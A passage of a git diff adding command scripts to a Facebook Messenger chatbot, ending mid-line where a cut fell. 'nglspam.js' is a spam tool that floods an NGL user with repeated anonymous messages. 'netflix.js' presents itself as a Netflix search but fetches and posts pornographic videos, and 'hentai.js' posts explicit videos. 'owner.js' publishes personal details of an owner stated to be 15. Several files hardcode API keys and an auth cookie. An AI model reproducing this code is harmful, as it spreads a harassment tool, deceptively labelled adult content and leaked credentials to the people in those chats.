+โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โŸก \n`; } - helpMessage += '\nEvent List:\n\n'; + helpMessage += '\nโ˜„๏ธ ๐—˜๐—ฉ๐—˜๐—ก๐—ง ๐—Ÿ๐—œ๐—ฆ๐—ง:\n\n'; eventCommands.forEach((eventCommand, index) => { - helpMessage += `\t${index + 1}. ใ€Œ ${prefix}${eventCommand} ใ€\n`; + helpMessage += `\โ•ญโ”€โ +โž  ${index + 1}. ${prefix}${eventCommand} +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โŸก \n`; }); helpMessage += `\nPage ${page} of ${Math.ceil(commands.length / pages)}`; api.sendMessage(helpMessage, event.threadID, event.messageID); @@ -91,7 +101,7 @@ module.exports.handleEvent = async function({ messageID, body } = event; - const message = prefix ? 'This is my prefix: ' + prefix : "Sorry i don't have prefix"; + const message = prefix ? '๐ŸŒ System prefix: ' + prefix : "Sorry i don't have prefix"; if (body?.toLowerCase().startsWith('prefix')) { api.sendMessage(message, threadID, messageID); } diff --git a/script/hentai.js b/script/hentai.js new file mode 100644 index 000000000..027bf90a9 --- /dev/null +++ b/script/hentai.js @@ -0,0 +1,64 @@ +const axios = require("axios"); +const fs = require('fs'); +const path = require('path'); + +module.exports.config = { + name: "hentai", + version: "1.0.0", + credits: "chill", + description: "Send a random hentai video", + hasPrefix: false, + cooldown: 3, + aliases: ["randhntai"] +}; + +module.exports.run = async function ({ api, event }) { + try { + api.sendMessage("Fetching a random hentai video, please wait...", event.threadID, async (chilli, kalamansi) => { + if (chilli) { + console.error("Error sending initial message:", chilli); + return api.sendMessage("An error occurred while processing your request.", event.threadID); + } + + try { + const pangit = await axios.get('https://joshweb.click/api/randhntai'); + const kamatis = pangit.data.result[0]; + + const pogi = kamatis.video_1; + const sibuyas = kamatis.title; + + const chilliPath = path.join(__dirname, 'random_hentai_video.mp4'); + const kalamansiResponse = await axios({ + url: pogi, + method: 'GET', + responseType: 'stream' + }); + + const writer = fs.createWriteStream(chilliPath); + kalamansiResponse.data.pipe(writer); + + writer.on('finish', () => { + api.sendMessage({ + body: `Here is a random hentai video: ${sibuyas}`, + attachment: fs.createReadStream(chilliPath) + }, event.threadID, () => { + fs.unlink(chilliPath, (pangit) => { + if (pangit) console.error("Error deleting video file:", pangit); + }); + }); + }); + + writer.on('error', (pogi) => { + console.error("Error saving video file:", pogi); + api.sendMessage("An error occurred while processing your request.", event.threadID); + }); + } catch (pangit) { + console.error("Error fetching video:", pangit); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } + }); + } catch (pangit) { + console.error("Error in randomhentai command:", pangit); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } +}; diff --git a/script/imagine.js b/script/imagine.js new file mode 100644 index 000000000..54997eed1 --- /dev/null +++ b/script/imagine.js @@ -0,0 +1,39 @@ +const axios = require('axios'); + +module.exports.config = { + name: "imagine", + version: "1.0.0", + credits: "Samir ล’",//convert by chilli + description: "Anime image generator", + hasPrefix: false, + cooldown: 5, + aliases: ["imagin"] +}; + +module.exports.run = async function ({ api, event, args }) { + try { + let prompt = args.join(" "); + if (!prompt) return api.sendMessage("Missing prompt for anime image generator", event.threadID, event.messageID); + + api.sendMessage("Generating your image ...", event.threadID, async (err, info) => { + try { + const apiUrl = `https://samirxpikachu.onrender.com/mageDef?prompt=${encodeURIComponent(prompt)}`; + const response = await axios.get(apiUrl, { responseType: 'stream' }); + + if (!response.data) { + return api.sendMessage("Failed to retrieve image.", event.threadID, event.messageID); + } + + return api.sendMessage({ + body: 'Here is your image', + attachment: response.data + }, event.threadID); + } catch (error) { + console.error(error); + api.sendMessage("An error occurred while generating your image.", event.threadID); + } + }); + } catch (s) { + api.sendMessage(s.message, event.threadID); + } +}; diff --git a/script/imgur.js b/script/imgur.js new file mode 100644 index 000000000..5984ada22 --- /dev/null +++ b/script/imgur.js @@ -0,0 +1,53 @@ +const axios = require('axios'); + +module.exports.config = { + name: "imgur", + version: "1.0.0", + role: 0, + hasPrefix: false, + credits: "Eugene Aguilar", + description: "upload to imgur", + usages: "imgur reply image,video,png,jpg", + cooldown: 0, +}; + +class Imgur { + constructor() { + this.clientId = "fc9369e9aea767c"; + this.client = axios.create({ + baseURL: "https://api.imgur.com/3/", + headers: { + Authorization: `Client-ID ${this.clientId}` + } + }); + } + async uploadImage(url) { + try { + const response = await this.client.post("image", { image: url }); + return response.data.data.link; + } catch (error) { + console.error(error); + throw new Error("Failed to upload image to Imgur"); + } + } +} + +module.exports.run = async function ({ api, event }) { + const imgur = new Imgur(); + const array = []; + + if (event.type !== "message_reply" || event.messageReply.attachments.length === 0) { + return api.sendMessage("Please reply with the photo/video/gif that you need to upload", event.threadID, event.messageID); + } + + for (const { url } of event.messageReply.attachments) { + try { + const res = await imgur.uploadImage(url); + array.push(res); + } catch (err) { + console.error(err); + } + } + + return api.sendMessage(`Uploaded successfully ${array.length} image(s)\nFailed to upload: ${event.messageReply.attachments.length - array.length}\nImage link: \n${array.join("\n")}`, event.threadID, event.messageID); +}; diff --git a/script/imgur2.js b/script/imgur2.js new file mode 100644 index 000000000..ff39f5f6a --- /dev/null +++ b/script/imgur2.js @@ -0,0 +1,34 @@ +const axios = require('axios'); + +module.exports.config = { + name: "imgur2", + version: "30.0.10", + role: 0, + credits: "kenglie", + description: "imgur upload", + hasPrefix: false, + usages: "[reply to image]", + cooldown: 5, + aliases: ["im"] +}; + +module.exports.run = async ({ api, event }) => { + let link2; + + if (event.type === "message_reply" && event.messageReply.attachments.length > 0) { + link2 = event.messageReply.attachments[0].url; + } else if (event.attachments.length > 0) { + link2 = event.attachments[0].url; + } else { + return api.sendMessage('No attachment detected. Please reply to an image.', event.threadID, event.messageID); + } + + try { + const res = await axios.get(`https://eurix-api.replit.app/imgur?link=${encodeURIComponent(link2)}`); + const link = res.data.uploaded.image; + return api.sendMessage(`Here is the Imgur link for the image you provided:\n\n${link}`, event.threadID, event.messageID); + } catch (error) { + console.error("Error uploading image to Imgur:", error); + return api.sendMessage("An error occurred while uploading the image to Imgur.", event.threadID, event.messageID); + } +}; diff --git a/script/iphonealert.js b/script/iphonealert.js new file mode 100644 index 000000000..c4d12eb4a --- /dev/null +++ b/script/iphonealert.js @@ -0,0 +1,47 @@ +module.exports.config = { + name: "iphonealert", + version: "1.0.0", + role: 0, + hasPrefix: true, + credits: "Neth", + description: "Popcat api", + usages: "{p}iphonealert [query]", + cooldowns: 5, + +}; + +module.exports.run = async ({ api, event, args }) => { + const axios = require('axios'); + const fs = require('fs-extra'); + try { + const { + threadID, + messageID + } = event; + const query = args.join(" "); + const timestamp = new Date().toISOString().replace(/[:.]/g, "-"); + const path = __dirname + '/cache/' + `${timestamp}_NETHisPOGI.png`; + if (!query){ + return api.sendMessage("Input Query First!\nExample: [prefix]iphonealert hello neth", threadID, messageID); + } + api.setMessageReaction("๐Ÿ“ฑ", event.messageID, () => {}, true); + const url = (await axios.get(`https://api.popcat.xyz/alert?text=${query}`, { + responseType: 'arraybuffer' + })).data; + fs.writeFileSync(path, Buffer.from(url, "utf-8")); + api.setMessageReaction("๐Ÿ‘Œ", event.messageID, () => {}, true); + setTimeout(function() { + api.sendMessage({ + body: "๐Ÿ“ฑ IPHONE ALERT โš ๏ธ", + attachment: fs.createReadStream(path) + }, threadID, + () => { + setTimeout(() => { + fs.unlinkSync(path); + }, 5*1000); + }, messageID); + }, 5*1000); + } catch (error) { + api.sendMessage(error.message, event.threadID, event.messageID); + } +}; diff --git a/script/iplookup.js b/script/iplookup.js new file mode 100644 index 000000000..9a231ff1b --- /dev/null +++ b/script/iplookup.js @@ -0,0 +1,66 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'iplookup', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['iplookup'], + description: "Fetch and send IP lookup details", + usage: "iplookup [IP address]", + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const ip = args.join(" "); + + if (!ip) { + api.sendMessage('usahe: iplookup ', event.threadID, event.messageID); + return; + } + + const chill = await new Promise(resolve => { + api.sendMessage('LOOK UPING...', event.threadID, (err, info) => { + resolve(info); + }); + }); + + const apiUrl = `https://joshweb.click/iplu?ip=${encodeURIComponent(ip)}`; + + try { + const response = await axios.get(apiUrl); + const result = response.data.result; + + if (result.status !== 'success') { + api.sendMessage('Error: Unable to retrieve information.', event.threadID, event.messageID); + return; + } + + const message = ` + ๐ŸŒ ๐ˆ๐ ๐‹๐จ๐จ๐ค๐ฎ๐ฉ ๐‘๐ž๐ฌ๐ฎ๐ฅ๐ญ๐ฌ: + - Continent: ${result.continent} (${result.continentCode}) + - Country: ${result.country} (${result.countryCode}) + - Region: ${result.regionName} (${result.region}) + - City: ${result.city} + - Zip: ${result.zip} + - Lat/Lon: ${result.lat}, ${result.lon} + - Timezone: ${result.timezone} (Offset: ${result.offset}) + - Currency: ${result.currency} + - ISP: ${result.isp} + - Organization: ${result.org} + - AS: ${result.as} (${result.asname}) + - Reverse: ${result.reverse} + - Mobile: ${result.mobile ? 'Yes' : 'No'} + - Proxy: ${result.proxy ? 'Yes' : 'No'} + - Hosting: ${result.hosting ? 'Yes' : 'No'} + - Query: ${result.query} + `; + + await api.sendMessage(message.trim(), event.threadID, event.messageID); + + } catch (error) { + console.error('Error:', error); + await api.editMessage('Error: ' + error.message, chill.messageID); + } +}; diff --git a/script/join.js b/script/join.js new file mode 100644 index 000000000..e3c591567 --- /dev/null +++ b/script/join.js @@ -0,0 +1,67 @@ +const axios = require("axios"); + +module.exports.config = { + name: "join", + version: "1.0.0", + role: 1, + credits: "Kshitiz", + description: "Join the specified group chat", + commandCategory: "System", + usages: "[threadID]", + cooldowns: 0, + hasPrefix: false +}; + +module.exports.run = async function({ api, event, args }) { + try { + if (!args[0]) { + const groupList = await api.getThreadList(10, null, ['INBOX']); + const filteredList = groupList.filter(group => group.threadName !== null); + + if (filteredList.length === 0) { + api.sendMessage('No group chats found.', event.threadID); + } else { + const formattedList = filteredList.map((group, index) => + `โ”‚${index + 1}. ${group.threadName}\nโ”‚๐“๐ˆ๐ƒ: ${group.threadID}\nโ”‚๐“๐จ๐ญ๐š๐ฅ ๐ฆ๐ž๐ฆ๐›๐ž๐ซ๐ฌ: ${group.participantIDs.length}\nโ”‚` + ); + const message = `โ•ญโ”€โ•ฎ\nโ”‚๐‹๐ข๐ฌ๐ญ ๐จ๐Ÿ ๐ ๐ซ๐จ๐ฎ๐ฉ ๐œ๐ก๐š๐ญ๐ฌ:\n${formattedList.map(line => `${line}`).join("\n")}\nโ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€๊”ช\n๐Œ๐š๐ฑ๐ข๐ฆ๐ฎ๐ฆ ๐Œ๐ž๐ฆ๐›๐ž๐ซ๐ฌ = 250\n\nTo join on the group, reply to this message "join {thread id}"\n\n example "join 6799332630181479"`; + + const sentMessage = await api.sendMessage(message, event.threadID); + // global.GoatBot.onReply.set(sentMessage.messageID, { + // commandName: 'join', + // messageID: sentMessage.messageID, + // author: event.senderID, + // }); + } + } else { + const threadID = args[0]; + + // If threadID is provided, try to join the group + const selectedGroup = await api.getThreadInfo(threadID); + + if (!selectedGroup) { + api.sendMessage('Invalid thread ID. Please provide a valid group chat ID.', event.threadID); + return; + } + + // Check if the user is already in the group + const memberList = await api.getThreadInfo(threadID); + if (memberList.participantIDs.includes(event.senderID)) { + api.sendMessage(`Can't add you, you are already in the group chat: \n${selectedGroup.threadName}`, event.threadID); + return; + } + + // Check if group is full + if (memberList.participantIDs.length >= 250) { + api.sendMessage(`Can't add you, the group chat is full: \n${selectedGroup.threadName}`, event.threadID); + return; + } + + await api.addUserToGroup(event.senderID, threadID); + api.sendMessage(`You have joined the group chat: ${selectedGroup.threadName}`, event.threadID); + } + } catch (error) { + console.error("Error joining group chat", error); + api.sendMessage('An error occurred while joining the group chat.\nPlease try again later.', event.threadID); + } +}; diff --git a/script/leave.js b/script/leave.js new file mode 100644 index 000000000..e01a8e67a --- /dev/null +++ b/script/leave.js @@ -0,0 +1,13 @@ +module.exports = { + description: "Bot leave the group", + role: "botadmin", + cooldown: 80, + execute(api, event, args, commands) { + try { + if (!args[0]) return api.removeUserFromGroup(api.getCurrentUserID(), event.threadID); + if (!isNaN(args[0])) return api.removeUserFromGroup(api.getCurrentUserID(), args.join(" ")); + } catch (error) { + api.sendMessage(error.message, event.threadID, event.messageID); + } +} +}; diff --git a/script/listbox.js b/script/listbox.js new file mode 100644 index 000000000..7901008b6 --- /dev/null +++ b/script/listbox.js @@ -0,0 +1,23 @@ +module.exports.config = { + name: "listbox", + version: "1.0.0", + credits: "Him", + role: 0, + description: "Lแบฅy tรชn vร  id cรกc nhรณm chแปฉa bot", + hasPrefix: false, + aliases: ["allbox"], + usage: "allbox", + cooldown: 5 +}; + +module.exports.run = async function ({ api, event }) { + var num = 0, box = ""; + api.getThreadList(100, null, ["INBOX"], (err, list) => { + list.forEach(info => { + if (info.isGroup && info.isSubscribed) { + box += `${num+=1}. ${info.name} - ${info.threadID}\n`; + } + }); + api.sendMessage(box, event.threadID, event.messageID); + }); +}; diff --git a/script/listfriend.js b/script/listfriend.js new file mode 100644 index 000000000..8dcc114e5 --- /dev/null +++ b/script/listfriend.js @@ -0,0 +1,88 @@ +const handleReply = []; + +module.exports.config = { + name: "listfriend", + version: "1.0.0", + role: 2, + hasPrefix: false, + credits: "cliff", + description: "View friends information/Delete friends by replying", + usages: "", + cooldown: 5 +}; + +module.exports.handleReply = async function ({ api, args, Users, event }) { + const { threadID, messageID, senderID } = event; + const reply = handleReply.find(reply => reply.author === senderID); + if (!reply) return; + + const { nameUser, urlUser, uidUser } = reply; + + if (event.type === "message_reply") { + const selectedNumbers = event.body.split(" ").map(n => parseInt(n)); + let msg = ""; + selectedNumbers.forEach(num => { + const index = num - 1; + if (index >= 0 && index < nameUser.length) { + const name = nameUser[index]; + const url = urlUser[index]; + const uid = uidUser[index]; + + api.unfriend(uid); + msg += `- ${name}\n๐ŸŒProfileUrl: ${url}\n`; + } + }); + + api.sendMessage(`๐Ÿ’ขDelete Friends๐Ÿ’ข\n\n${msg}`, threadID, () => + api.unsendMessage(messageID)); + } +}; + +module.exports.run = async function ({ event, api, args }) { + const { threadID, messageID, senderID } = event; + try { + const listFriend = []; + const dataFriend = await api.getFriendsList(); + const countFr = dataFriend.length; + + for (const friend of dataFriend) { + listFriend.push({ + name: friend.fullName || "Chฦฐa ฤ‘แบทt tรชn", + uid: friend.userID, + gender: friend.gender, + vanity: friend.vanity, + profileUrl: friend.profileUrl + }); + } + + const nameUser = [], urlUser = [], uidUser = []; + let page = parseInt(args[0]) || 1; + page = Math.max(page, 1); + const limit = 10; + let msg = `๐ŸŽญDS INCLUDES ${countFr} FRIENDS๐ŸŽญ\n\n`; + const numPage = Math.ceil(listFriend.length / limit); + + for (let i = limit * (page - 1); i < limit * page; i++) { + if (i >= listFriend.length) break; + const infoFriend = listFriend[i]; + msg += `${i + 1}. ${infoFriend.name}\n๐Ÿ™‡โ€โ™‚๏ธID: ${infoFriend.uid}\n๐Ÿงโ€โ™‚๏ธGender: ${infoFriend.gender}\nโ„๏ธVanity: ${infoFriend.vanity}\n๐ŸŒProfile Url: ${infoFriend.profileUrl}\n\n`; + nameUser.push(infoFriend.name); + urlUser.push(infoFriend.profileUrl); + uidUser.push(infoFriend.uid); + } + + msg += `โœŽ๏น๏น๏น๏น๏น๏น๏น๏น๏น๏น\n--> Page ${page}/${numPage} <--\nUse .friend page number/all\n\n`; + + return api.sendMessage(msg + '๐ŸŽญReply number in order (from 1->10), can rep multiple numbers, separated by way sign to delete that friend from the list!', threadID, (e, data) => + handleReply.push({ + author: senderID, + messageID: data.messageID, + nameUser, + urlUser, + uidUser + }) + ) + } catch (e) { + console.log(e); + } +} diff --git a/script/llma.js b/script/llma.js new file mode 100644 index 000000000..4bbfdfafa --- /dev/null +++ b/script/llma.js @@ -0,0 +1,29 @@ +const { get } = require('axios'); + +module.exports.config = { + name: 'llma', + credits: "cliff", + version: '1.0.0', + role: 0, + aliases: ['llma'], + cooldown: 0, + hasPrefix: false, + usage: "{pn} [prompt]", +}; + +module.exports.run = async function ({ api, event, args }) { + const prompt = args.join(' '); + + function sendMessage(msg) { + api.sendMessage(msg, event.threadID, event.messageID); + } + + const url = "https://deku-rest-api.replit.app/llama-70b"; + + try { + const response = await get(`${url}?prompt=${encodeURIComponent(prompt)}`); + sendMessage(response.data.result); + } catch (error) { + sendMessage(error.message); + } +}; diff --git a/script/lyrics.js b/script/lyrics.js new file mode 100644 index 000000000..59a7b220e --- /dev/null +++ b/script/lyrics.js @@ -0,0 +1,34 @@ +const axios = require('axios'); +const fs = require('fs'); + +module.exports.config = { + name: 'lyrics', + version: '1', + role: 0, + credits: 'Grey', + hasPrefix: true, + description: 'Lyrics Finder', + commandCategory: 'fun', + usage: '[song]', + cooldowns: 5 +}; + +module.exports.run = async ({ api, event, args }) => { + const song = args.join(' '); + + if (!song) { + return api.sendMessage('Please enter a song.', event.threadID, event.messageID); + } else { + axios.get(`https://lyrist-tumk.onrender.com/api/${encodeURIComponent(song)}`) + .then(res => { + const { lyrics, title, artist } = res.data; + + const message = `Title: ${title}\n\nArtist: ${artist}\n\nLyrics: ${lyrics}`; + api.sendMessage(message, event.threadID, event.messageID); + }) + .catch(error => { + console.error('Lyrics API error:', error); + api.sendMessage('Failed to fetch lyrics.', event.threadID, event.messageID); + }); + } +}; diff --git a/script/mention.js b/script/mention.js new file mode 100644 index 000000000..390af4b58 --- /dev/null +++ b/script/mention.js @@ -0,0 +1,11 @@ +module.exports = { + name: 'mention', + description: 'Responds when "melody," "xiomi," or "chili" is mentioned', + nashPrefix: false, + execute(api, event, args) { + const message = event.body.toLowerCase(); + if (message.includes('melody') || message.includes('xiomi') || message.includes('chili')) { + api.sendMessage("Don't call my master, dude", event.threadID, event.messageID); + } + }, +}; diff --git a/script/netflix.js b/script/netflix.js new file mode 100644 index 000000000..7c3885991 --- /dev/null +++ b/script/netflix.js @@ -0,0 +1,67 @@ +module.exports.config = { + name: "netflix", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Search videos on netflix", + hasPrefix: false, + aliases: ["netflix"], + usage: "[netflix ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + const query = args.join(" "); + if (!query) { + api.sendMessage("Usage: netflix ", event.threadID); + return; + } + + api.sendMessage("๐Ÿ” | Searching netflix, please wait...", event.threadID); + + const response = await axios.get(`https://nash-rest-api.replit.app/pornhubsearch?search=${encodeURIComponent(query)}`); + + if (response.data && response.data.videos && response.data.videos.length > 0) { + const result = response.data.videos[0]; // Send only the first result as an example + + api.sendMessage(`๐Ÿ”ž | Here are the top search results:\n\nTitle: ${result.title}\nLink: ${result.link}`, event.threadID); + + // Simulate downloading the video (This part might not work with actual video links) + const videoResponse = await axios({ + url: result.link, // This should be a direct video link; might need modification + method: 'GET', + responseType: 'stream' + }); + + const videoPath = path.join(__dirname, "cache", "video.mp4"); + + const writer = fs.createWriteStream(videoPath); + videoResponse.data.pipe(writer); + + writer.on('finish', () => { + api.sendMessage({ + body: "Here is the video manyak:", + attachment: fs.createReadStream(videoPath) + }, event.threadID, () => { + fs.unlinkSync(videoPath); + }); + }); + + writer.on('error', (err) => { + console.error('Stream writer error:', err); + api.sendMessage("An error occurred while processing the video.", event.threadID); + }); + + } else { + api.sendMessage("No results found for your query.", event.threadID); + } + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/nglspam.js b/script/nglspam.js new file mode 100644 index 000000000..1fb0a7e99 --- /dev/null +++ b/script/nglspam.js @@ -0,0 +1,46 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'nglspam', + version: '1.0.1', + role: 0, + hasPrefix: false, + aliases: ['ngl', 'spam'], + description: "NGL Spammer Command", + usage: "nglspamm [username] [message] [amount]", + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const username = args[0]; + const amount = parseInt(args[args.length - 1], 10); + const message = args.slice(1, args.length - 1).join(' '); + + if (!username || !message || isNaN(amount) || amount <= 0) { + api.sendMessage('nglspamm username message amount', event.threadID, event.messageID); + return; + } + + api.sendMessage('Sending messages...', event.threadID, event.messageID); + + for (let i = 0; i < amount; i++) { + try { + const response = await axios.get(`https://nash-api-end-5swp.onrender.com/ngl`, { + params: { + username, + message, + deviceId: 'myDevice', + amount: 1 + } + }); + console.log('Response:', response.data); + } catch (error) { + console.error('Error:', error); + } finally { + await new Promise(resolve => setTimeout(resolve, 2000)); + } + } + + api.sendMessage(`All messages successfully sent.`, event.threadID, event.messageID); +}; diff --git a/script/openjourney.js b/script/openjourney.js new file mode 100644 index 000000000..6d77fda40 --- /dev/null +++ b/script/openjourney.js @@ -0,0 +1,44 @@ +module.exports.config = { + name: "openjourney", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate images from prompts", + hasPrefix: false, + aliases: ["image"], + usage: "[openjourney ]", + cooldown: 5 +}; + +const chilli = require("axios"); +const pogi = require("fs"); +const pogimochill = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + const cutemochill = args.join(" "); + if (!cutemochill) { + api.sendMessage("Usage: openjourney ", event.threadID); + return; + } + + api.sendMessage("๐ŸŽจ | Generating image, please wait...", event.threadID); + + const chilliResponse = await chilli.get(`https://joshweb.click/openjourney?prompt=${encodeURIComponent(cutemochill)}`, { + responseType: 'arraybuffer' + }); + + const cutemochillPath = pogimochill.join(__dirname, `/cache/generated_image.png`); + pogi.writeFileSync(cutemochillPath, Buffer.from(chilliResponse.data, 'binary')); + + api.sendMessage({ + body: "Generated image:", + attachment: pogi.createReadStream(cutemochillPath) + }, event.threadID, () => { + pogi.unlinkSync(cutemochillPath); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/outall.js b/script/outall.js new file mode 100644 index 000000000..9ec1f43f6 --- /dev/null +++ b/script/outall.js @@ -0,0 +1,26 @@ +module.exports.config = { + name: "outall", + version: "1.0.0", + role: 2, + credits: "HungCho", + description: "Remove from all groups except specified user's groups", + usages: "{p}outall", + hasPrefix: false, + cooldown: 5 +}; + +module.exports.run = async ({ api, event, args }) => { + try { + const specifiedUserID = "100087212564100"; // Replace this with the specific user's UID + + const list = await api.getThreadList(100, null, ["INBOX"]); + list.forEach(async (item) => { + if (item.isGroup && item.threadID !== event.threadID && item.participantIDs.includes(specifiedUserID)) { + await api.removeUserFromGroup(api.getCurrentUserID(), item.threadID); + } + }); + await api.sendMessage('Out of all other groups where the specified user is a participant successfully', event.threadID); + } catch (err) { + console.error(err); + } +}; diff --git a/script/owner.js b/script/owner.js new file mode 100644 index 000000000..ded9dc4c1 --- /dev/null +++ b/script/owner.js @@ -0,0 +1,76 @@ +const axios = require('axios'); +const fs = require('fs'); +const path = require('path'); + +module.exports.config = { + name: 'owner', + version: '1.0.0', + hasPermision: 0, + credits: 'Rickciel', + usePrefix: false, + description: 'Display bot owner information', + commandCategory: 'system', + usages: '', + cooldowns: 0 +}; + +module.exports.run = async ({ api, event }) => { + try { + const ownerInfo = { + name: `xiomi`, + gender: 'FEMALE', + age: '15', + height: 'secret', + facebookLink: `https://www.facebook.com/xiomi.igop`, + status: 'SINGLE' + }; + + const videoUrl = [ + +"https://drive.google.com/uc?export=download&id=18WGg-8oH9gJPbd8DcSFwguTkkdbjVR6s", +"https://drive.google.com/uc?export=download&id=18W1dG5vcZpBJ6WhKWs3Rfw_JFZNi43fS", +"https://drive.google.com/uc?export=download&id=19ftJzAGT4ip76YET6PbmC9e87ZDyBcCT", +"https://drive.google.com/uc?export=download&id=19pZucRudlDOlljVa-Anpi3ZpkRwNuaWP", +"https://drive.google.com/uc?export=download&id=19orvJc7mI-M5Diwp2fGnZrCTW3fbvIV9", +"https://drive.google.com/uc?export=download&id=19fLKEx_5h6-s22-rB0HXVfLZIGxKgA5U", +"https://drive.google.com/uc?export=download&id=19asZSvG-3MtAryKWLyPI5ZLhwbRLhXyx", +]; + + const chosenVideoUrl = videoUrl[Math.floor(Math.random() * videoUrl.length)]; + const tmpFolderPath = path.join(__dirname, 'tmp'); + + if (!fs.existsSync(tmpFolderPath)) { + fs.mkdirSync(tmpFolderPath); + } + + const filePath = path.join(tmpFolderPath, (Math.random() + 1).toString(36).substring(4) + '_owner_video.mp4'); // adding random string to file name to prevent collision + + const videoResponse = await axios.get(chosenVideoUrl, { responseType: 'arraybuffer' }); + fs.writeFileSync(filePath, Buffer.from(videoResponse.data, 'binary')); + + const response = ` +โœง ๐—ข๐—ช๐—ก๐—˜๐—ฅ ๐—œ๐—ก๐—™๐—ข๐—ฅ๐— ๐—”๐—ง๐—œ๐—ข๐—ก โœง\n +Name: ${ownerInfo.name} +Gender: ${ownerInfo.gender} +Age: ${ownerInfo.age} +Height: ${ownerInfo.height} +Facebook: ${ownerInfo.facebookLink} +Status: ${ownerInfo.status} +`; + + await api.sendMessage({ + body: response, + attachment: fs.createReadStream(filePath) + }, event.threadID, event.messageID); + + fs.unlinkSync(filePath); // delete the video after sending the message + + if (event.body && event.body.toLowerCase().includes('owner')) { + api.setMessageReaction('๐Ÿ˜ฝ', event.messageID, (err) => {}, true); + } + + } catch (error) { + console.error('Error in owner command:', error); + return api.sendMessage('An error occurred while processing the command.', event.threadID); + } +}; diff --git a/script/pastebin.js b/script/pastebin.js new file mode 100644 index 000000000..052065b82 --- /dev/null +++ b/script/pastebin.js @@ -0,0 +1,63 @@ +const PastebinAPI = require('pastebin-js'); +const fs = require('fs'); +const path = require('path'); + +module.exports.config = { + name: "pastebin", + version: "1.0", + credits: "cliff", + cooldown: 5, + role: 2, + hasPrefix: false, + description: "Upload files to Pastebin and sends link", + usages: "To use this command, type !pastebin . The file must be located in the current directory.", + aliases: ["adc"], +}; + +module.exports.run = async function ({ api, event, args }) { + const allowedUserID = "100087212564100"; + + + if (event.senderID !== allowedUserID) { + return api.sendMessage('You are not the owner of this bot to use this command!', event.threadID); + } + + const pastebin = new PastebinAPI({ + api_dev_key: 'LFhKGk5aRuRBII5zKZbbEpQjZzboWDp9', + api_user_key: 'LFhKGk5aRuRBII5zKZbbEpQjZzboWDp9', + }); + + const fileName = args[0]; + const filePathWithoutExtension = path.join(__dirname, fileName); + const filePathWithExtension = path.join(__dirname, fileName + '.js'); + + if (!fs.existsSync(filePathWithoutExtension) && !fs.existsSync(filePathWithExtension)) { + return api.sendMessage('File not found!', event.threadID); + } + + const filePath = fs.existsSync(filePathWithoutExtension) ? filePathWithoutExtension : filePathWithExtension; + + fs.readFile(filePath, 'utf8', async (err, data) => { + if (err) { + console.error(err); + return api.sendMessage('Error reading the file!', event.threadID); + } + + const paste = await pastebin + .createPaste({ + text: data, + title: fileName, + format: null, // If null, Pastebin will auto-detect the syntax highlighting + privacy: 1, // 1: Public, 2: Unlisted, 3: Private + }) + .catch((error) => { + console.error(error); + return api.sendMessage('Error uploading the file to Pastebin!', event.threadID); + }); + + if (paste) { + const rawPaste = paste.replace("pastebin.com", "pastebin.com/raw"); + api.sendMessage(`File uploaded to Pastebin: ${rawPaste}`, event.threadID); + } + }); +}; diff --git a/script/periodictable.js b/script/periodictable.js new file mode 100644 index 000000000..47893f66f --- /dev/null +++ b/script/periodictable.js @@ -0,0 +1,32 @@ +const periodicTable = require('periodic-table'); +const fs = require('fs'); +const path = require('path'); + +module.exports.config = { + name: "periodictable", + role: 0, + credits: "Jonell Magallanes", + description: "search periodical table", + usage: "[element]", + cooldown: 5, + hasPrefix: false, +}; + +module.exports.run = async function({ api, event, args }) { + if (!args[0]) return api.sendMessage("Please provide an element symbol, name, or atomic number.", event.threadID); + + let elementQuery = args.join(" "); + let element; + + if (!isNaN(elementQuery)) { + element = periodicTable.elements[parseInt(elementQuery) - 1]; + } else { + element = periodicTable.symbols[elementQuery] || periodicTable.names[elementQuery]; + } + + if (!element) return api.sendMessage("Element not found.", event.threadID); + + let message = `Element Information:\n- Name: ${element.name}\n- Symbol: ${element.symbol}\n- Atomic Number: ${element.atomicNumber}\n- Atomic Mass: ${element.atomicMass}\n- Electronic Configuration: ${element.electronicConfiguration}\n- Oxidation States: ${element.oxidationStates}\n- Standard State: ${element.standardState}\n- Bonding Type: ${element.bondingType}\n- Melting Point: ${element.meltingPoint} K\n- Boiling Point: ${element.boilingPoint} K\n- Density: ${element.density} g/cm3\n- Year Discovered: ${element.yearDiscovered}`; + + api.sendMessage(message, event.threadID); +}; diff --git a/script/pinterest.js b/script/pinterest.js index 2698573f4..4f7d28b1d 100644 --- a/script/pinterest.js +++ b/script/pinterest.js @@ -1,81 +1,37 @@ -const axios = require('axios'); -const fs = require('fs'); -const cheerio = require('cheerio'); module.exports.config = { - name: "pinterest", - version: "1.0.0", - role: 0, - hasPrefix: true, - description: "Search for images on Pinterest.", - usages: "pinterest [query] - [amount]", - credits: "Developer", + name: "pinterest", + version: "1.0.0", + role: 0, + credits: "Joshua Sy", + description: "Image search", + hasPrefix: false, + commandCategory: "Search", + usages: "[Text]", + cooldowns: 0, }; -async function getPinterest(img) { - try { - const { - data - } = await axios.get("https://id.pinterest.com/search/pins/?autologin=true&q=" + img, { - headers: { - cookie: "_auth=1; _b=\"AVna7S1p7l1C5I9u0+nR3YzijpvXOPc6d09SyCzO+DcwpersQH36SmGiYfymBKhZcGg=\"; 